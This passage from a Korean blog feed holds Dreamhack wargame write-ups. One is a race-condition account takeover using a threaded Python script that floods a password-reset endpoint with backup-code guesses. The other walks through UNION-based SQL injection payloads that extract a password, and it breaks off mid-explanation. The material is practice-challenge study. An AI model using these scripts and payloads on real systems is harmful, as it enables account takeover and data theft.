loading=&quot;lazy&quot; width=&quot;440&quot; height=&quot;242&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;slow/slow/slow&lt;/span&gt;&lt;span&gt;로 가입해보니&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;543&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBZ85I/btrW4EmMR5E/W8c39ktaMH938rn5k5kfYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBZ85I/btrW4EmMR5E/W8c39ktaMH938rn5k5kfYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBZ85I/btrW4EmMR5E/W8c39ktaMH938rn5k5kfYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBZ85I%2FbtrW4EmMR5E%2FW8c39ktaMH938rn5k5kfYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;147&quot; data-origin-width=&quot;543&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;BackupCode&lt;/span&gt;&lt;span&gt;로 &lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;을 부여받았다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;로그인해도 딱히 뭐 시도해 볼 것이 없다&lt;/span&gt;&lt;span&gt;. forget_password&lt;/span&gt;&lt;span&gt;로 가보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;380977&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBN8QK/btrXaq14dn9/h81IInzL1ckF67UpcCYDGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBN8QK/btrXaq14dn9/h81IInzL1ckF67UpcCYDGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBN8QK/btrXaq14dn9/h81IInzL1ckF67UpcCYDGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBN8QK%2FbtrXaq14dn9%2Fh81IInzL1ckF67UpcCYDGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;187&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이런 형식으로 &lt;/span&gt;&lt;span&gt;userid&lt;/span&gt;&lt;span&gt;를 입력하고 바꿀 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;를 입력한 뒤 가입할 때 제공했던 &lt;/span&gt;&lt;span&gt;BackupCode&lt;/span&gt;&lt;span&gt;를 적은 뒤 제출하면 &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;가 변경된다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그 후 &lt;/span&gt;&lt;span&gt;84&lt;/span&gt;&lt;span&gt;번이라는 새로운 &lt;/span&gt;&lt;span&gt;BackupCode&lt;/span&gt;&lt;span&gt;를 받았다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;아까 확인했을 때&lt;/span&gt;&lt;span&gt;, /user/useridx&lt;/span&gt;&lt;span&gt;에 들어가보자&lt;/span&gt;&lt;span&gt;. /user/0&lt;/span&gt;&lt;span&gt;부터 들어갔는데&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;없단다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;부터 들어갔다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs1INH/btrXanqMhdv/1nUzS9wweAPAtCnl0FXbU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs1INH/btrXanqMhdv/1nUzS9wweAPAtCnl0FXbU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs1INH/btrXanqMhdv/1nUzS9wweAPAtCnl0FXbU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs1INH%2FbtrXanqMhdv%2F1nUzS9wweAPAtCnl0FXbU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;460&quot; height=&quot;143&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Apple&lt;/span&gt;&lt;span&gt;이라는 계정을 알 수 있었는데 &lt;/span&gt;&lt;span&gt;UserLevel&lt;/span&gt;&lt;span&gt;이 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;이다&lt;/span&gt;&lt;span&gt;. admin&lt;/span&gt;&lt;span&gt;계정이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그럼 내 계정은 몇 번째일까 싶어 다 해보니 &lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;번째였다&lt;/span&gt;&lt;span&gt;. 18&lt;/span&gt;&lt;span&gt;번은 역시 없다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;330393&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buaaUX/btrXamZHCa9/EKMxbOTjcD5ynrdgVEGm70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buaaUX/btrXamZHCa9/EKMxbOTjcD5ynrdgVEGm70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buaaUX/btrXamZHCa9/EKMxbOTjcD5ynrdgVEGm70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuaaUX%2FbtrXamZHCa9%2FEKMxbOTjcD5ynrdgVEGm70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;167&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그럼 위에서 &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span&gt;계정인 &lt;/span&gt;&lt;span&gt;Apple&lt;/span&gt;&lt;span&gt;을 알았으니 그 계정을 내가 가질 방법을 생각해보면 &lt;/span&gt;&lt;span&gt;Apple&lt;/span&gt;&lt;span&gt;의 백업코드를 알아내 내가 바꾸고 싶은 비밀번호로 변경하면 될 것 같았다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그러나 &lt;/span&gt;&lt;span&gt;Brute Force&lt;/span&gt;&lt;span&gt;를 막기 위해 &lt;/span&gt;&lt;span&gt;sleep(1)&lt;/span&gt;&lt;span&gt;을 걸었을 뿐 아니라 &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;번 틀리면 새로운 백업 코드로 변경되기 때문에 맞출 때까지 시도하는 것이 불가능하다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그러나 &lt;/span&gt;&lt;span&gt;sleep(1)&lt;/span&gt;&lt;span&gt;을 설정함에 따라 다른 취약점이 생겼는데 &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;초 이내에 &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;번 모두 접근하여 결국 비밀번호가 변경되는 방식으로 레이스 컨디션 취약점을 이용하는 것이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;버프 슈트를 이용해서 시도했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;535673&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzmHZQ/btrW1OQH4kS/EYK72owkmlgrjWWokyZYZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzmHZQ/btrW1OQH4kS/EYK72owkmlgrjWWokyZYZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzmHZQ/btrW1OQH4kS/EYK72owkmlgrjWWokyZYZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzmHZQ%2FbtrW1OQH4kS%2FEYK72owkmlgrjWWokyZYZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;325&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그러나 버프 슈트 &lt;/span&gt;&lt;span&gt;Edition&lt;/span&gt;&lt;span&gt;버전에서는 속도 제한으로 인해서 &lt;/span&gt;&lt;span&gt;intruder&lt;/span&gt;&lt;span&gt;로 할 수 없었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 간단한 반복문&lt;/span&gt;&lt;span&gt;, threading&lt;/span&gt;&lt;span&gt;을 통해 파이썬 스크립트를 작성했다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674633901767&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import threading, requests

url = &quot;http://host3.dreamhack.games:19427/forgot_password&quot;

for i in range(1,101) :
    forget = {&quot;userid&quot;: &quot;Apple&quot;, &quot;newpassword&quot;: &quot;slow&quot;, &quot;backupCode&quot;: i}
    thread = threading.Thread(target=requests.post, args=(url, forget))

    thread.start()

print(&quot;finish&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;33017&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;실행이 끝나며 &lt;/span&gt;&lt;span&gt;finish&lt;/span&gt;&lt;span&gt;를 출력했으니 &lt;/span&gt;&lt;span&gt;Apple/slow&lt;/span&gt;&lt;span&gt;로 로그인해보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;1152022&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;60&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/37waV/btrXa0u6ECf/geHKPcrtvSH9PDODvhySXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/37waV/btrXa0u6ECf/geHKPcrtvSH9PDODvhySXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/37waV/btrXa0u6ECf/geHKPcrtvSH9PDODvhySXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F37waV%2FbtrXa0u6ECf%2FgeHKPcrtvSH9PDODvhySXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;68&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;60&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;484573&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;111&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tAkLa/btrXaDNDogX/dJxkPL9l58dTX8WdDeW2Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tAkLa/btrXaDNDogX/dJxkPL9l58dTX8WdDeW2Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tAkLa/btrXaDNDogX/dJxkPL9l58dTX8WdDeW2Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtAkLa%2FbtrXaDNDogX%2FdJxkPL9l58dTX8WdDeW2Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;111&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;111&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;flag값을 획득했다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Webhacking-Write-Up/Dreamhack</category>
      <category>dreamhack</category>
      <category>dreamhack login-1</category>
      <category>login-1</category>
      <category>PYTHON</category>
      <category>wargame</category>
      <category>드림핵</category>
      <category>드림핵 login-1</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/87</guid>
      <comments>https://godturtle.tistory.com/87#entry87comment</comments>
      <pubDate>Wed, 25 Jan 2023 17:06:51 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] [wargame.kr] adm1nkyj</title>
      <link>https://godturtle.tistory.com/86</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;[wargame.kr]&amp;nbsp;adm1nkyj&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;초기화면에서 소스코드를 보여준다.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;103085&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4weRL/btrWUdvUXoB/KOikOme2Lk8ZYcawZMYHv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4weRL/btrWUdvUXoB/KOikOme2Lk8ZYcawZMYHv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4weRL/btrWUdvUXoB/KOikOme2Lk8ZYcawZMYHv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4weRL%2FbtrWUdvUXoB%2FKOikOme2Lk8ZYcawZMYHv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;616&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRDA7g/btrW1N3Po7z/27XyQ8l42sitQTBtd7nrJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRDA7g/btrW1N3Po7z/27XyQ8l42sitQTBtd7nrJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRDA7g/btrW1N3Po7z/27XyQ8l42sitQTBtd7nrJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRDA7g%2FbtrW1N3Po7z%2F27XyQ8l42sitQTBtd7nrJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;891&quot; height=&quot;409&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;를 &lt;/span&gt;&lt;span&gt;150&lt;/span&gt;&lt;span&gt;번 입력하면 초기화가 된다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;음 &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;pw, flag&lt;/span&gt;&lt;span&gt;를 모두 &lt;/span&gt;&lt;span&gt;GET &lt;/span&gt;&lt;span&gt;방식으로 보내줘야 진짜 &lt;/span&gt;&lt;span&gt;flag &lt;/span&gt;&lt;span&gt;값을 획득할 수 있는 것 같다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그럼 우선 &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;부터 알아보자&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674543789483&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?id=&amp;rsquo; or 1=1 -- -&lt;/code&gt;&lt;/pre&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;5778&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q11EB/btrW0PAKrf6/tdvKwCoo9UsGjpSNVcePk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q11EB/btrW0PAKrf6/tdvKwCoo9UsGjpSNVcePk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q11EB/btrW0PAKrf6/tdvKwCoo9UsGjpSNVcePk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ11EB%2FbtrW0PAKrf6%2FtdvKwCoo9UsGjpSNVcePk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;112&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;361745&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Hello 2&lt;/span&gt;&lt;span&gt;라는 결과를 출력하였다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;위에서 획득한 &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;가 &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;번째 컬럼인 것을 확인했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그럼 &lt;/span&gt;&lt;span&gt;pw&lt;/span&gt;&lt;span&gt;를 구해보자&lt;/span&gt;&lt;span&gt;. pw&lt;/span&gt;&lt;span&gt;의 컬럼을 확인하기 위해 아래와 같이 보냈다. &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674543781243&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?id=%27%20union%20select%201%2C&amp;amp;pw=%2C2%2C3%2C4;%20--%20-​&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;79&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pdk9a/btrWUdJsFJe/7TjhPzWhG1wu87gMnhze61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pdk9a/btrWUdJsFJe/7TjhPzWhG1wu87gMnhze61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pdk9a/btrWUdJsFJe/7TjhPzWhG1wu87gMnhze61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpdk9a%2FbtrWUdJsFJe%2F7TjhPzWhG1wu87gMnhze61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;68&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;79&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;370849&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;컬럼은 &lt;/span&gt;&lt;span&gt;xPw4coaa1sslfe= &lt;/span&gt;&lt;span&gt;임을 확인했고 이것을 이용하여 &lt;/span&gt;&lt;span&gt;pw&lt;/span&gt;&lt;span&gt;를 구하면&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674543795171&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&amp;amp;pw=%2C3%2C4;%20--%20-&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r3sS3/btrWUIvU429/KknhyBnBlNj7a0yu93aaYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r3sS3/btrWUIvU429/KknhyBnBlNj7a0yu93aaYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r3sS3/btrWUIvU429/KknhyBnBlNj7a0yu93aaYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr3sS3%2FbtrWUIvU429%2FKknhyBnBlNj7a0yu93aaYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;105&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;pw&lt;/span&gt;&lt;span&gt;가 &lt;/span&gt;&lt;span&gt;!@SA#$! &lt;/span&gt;&lt;span&gt;임을 알 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;값만 찾으면 되는데 &lt;/span&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;는 컬럼의 이름을 모르기 때문에 서브쿼리를 이용해서 구해야 한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;우선 &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;&amp;rsquo;&amp;lsquo;&lt;/span&gt;&lt;span&gt;으로 아무런 값도 넣지 않고 &lt;/span&gt;&lt;span&gt;union&lt;/span&gt;&lt;span&gt;보다 &lt;/span&gt;&lt;span&gt;from(&lt;/span&gt;&lt;span&gt;서브쿼리&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;서브쿼리부터 실행시켜 &lt;/span&gt;&lt;span&gt;select 1,2,3,4 as a,5&lt;/span&gt;&lt;span&gt;으로 &lt;/span&gt;&lt;span&gt;[1][2][3][a][5] &lt;/span&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt;(4 as a&lt;/span&gt;&lt;span&gt;를 통해 &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;가 됌&lt;/span&gt;&lt;span&gt;.)&lt;/span&gt;&lt;span&gt;을 갖고 &lt;/span&gt;&lt;span&gt;union&lt;/span&gt;&lt;span&gt;으로 &lt;/span&gt;&lt;span&gt;findflag_2&lt;/span&gt;&lt;span&gt;결과값들이 &lt;/span&gt;&lt;span&gt;[1][2][3][4][5] &lt;/span&gt;&lt;span&gt;들어가고 &lt;/span&gt;&lt;span&gt;limit 1,1&lt;/span&gt;&lt;span&gt;로 자료를 받는다&lt;/span&gt;&lt;span&gt;.(limit&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;부터 시작하므로 &lt;/span&gt;&lt;span&gt;limit &lt;/span&gt;&lt;span&gt;시작위치&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;반환갯수&lt;/span&gt;&lt;span&gt;) as a&lt;/span&gt;&lt;span&gt;를 첫 번째 컬럼을 시작으로 바꿔주면서 네 번째 컬럼에 